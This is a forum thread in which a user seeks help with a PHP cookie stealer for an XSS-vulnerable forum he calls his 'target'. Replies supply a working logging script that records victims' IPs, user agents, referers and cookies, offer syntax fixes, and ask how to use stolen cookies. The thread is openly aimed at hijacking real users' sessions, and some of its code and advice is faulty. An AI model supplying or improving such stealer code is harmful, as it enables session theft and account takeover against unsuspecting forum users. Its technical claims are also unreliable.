Thread: [My cookie stealer wont work? PHP Cookie stealer](#)

okol123 - November 28, 2012, 3:49 am

Hey guys, I am new here and I learned a lot from this site.

I need some help with my cookie stealer: I got a forum target which I found is XSS vulnerable. For some reason when I use document.location script to steal the user's cookie it simply doesn't do anything.

Perhaps I got the syntax wrong, or gave the file wrong perms?

Here's my stealer's PHP script:

```
Code <?php
$cookie = $_GET['cookie'];
$log = fopen("cookies.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>With 0777 perms on it.
```

Also have a cookies.txt file (same dir) with 0777 perms on it.

If you could give me the correct script syntax / stealer, or maybe tell me what I'm doing wrong that'd be awesome..

P.S: BTW Hosted at hostgator.

Thank you guys!!

Hi if you'd like to PM me i'll link you to one that works and is very easy.

okol123 - November 28, 2012, 3:52 am

I dont have enough posts to PM unfortunately. :(
I really would love it though, thanks!

.Nas - November 28, 2012, 3:54 am

Keep posting and stuff then PM me man, (:

Post on a few of my threads and i'll do it although i'm going out teaching football in a school right now so i'll do it when i'm back <3

Why don't you just post it here so others can get it too?

I just don't want to give it out to everyone i'll happily give you it if you PM me. It's just one i've used

before which worked great.

?

I would if I could. Posting spams is meaningless, I want to be helpful.

You're still giving it out to everyone that PMs you

OP can't even pm yet

okol123 - November 28, 2012, 4:21 am

Thank you guys for the timely responses, I'd appreciate it if someone could help me out with the problem.

Thanks in advance!

Kind of wrong section, but here you go.

PHP Code

```
<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $agent = $_SERVER['HTTP_USER_AGENT'];
    $referer = $_SERVER['HTTP_REFERER'];
    $cookie = $_HTTP_GET_VAR ['cookie'];
    $date = date("D, M j, Y g:i:s A");
    $file = 'log.txt';

    $fap = fopen($file, "a");
    fwrite($fap, "IP: $ip \n User Agent: $agent \n Cookie: $cookie \n Date: $date \n\n");
?>
```

Nice share bro.do you knw anywhere I can find a more comprehensive tutorial on what to do with the cookies afterwards.

Niely - November 2, 2014, 12:30 pm

Try to replace:

\$cookie = \$_GET['cookie'];

With:

\$cookie = \$_HTTP_GET_VARS["cookie"]

Could you also post the JavaScript/whatever from how you redirect?

/

Don't copy/paste other's code, you don't learn anything from that.

Make your own cookie-stealer line-by-line, every line with research if needed. The reward will be bigger, believe me. :)

Quote:Nice share bro.do you knw anywhere I can find a more comprehensive tutorial on what to do with the cookies afterwards.

The cookies are probably hashed/encoded, you need to crack those in order to view the content of the cookies.
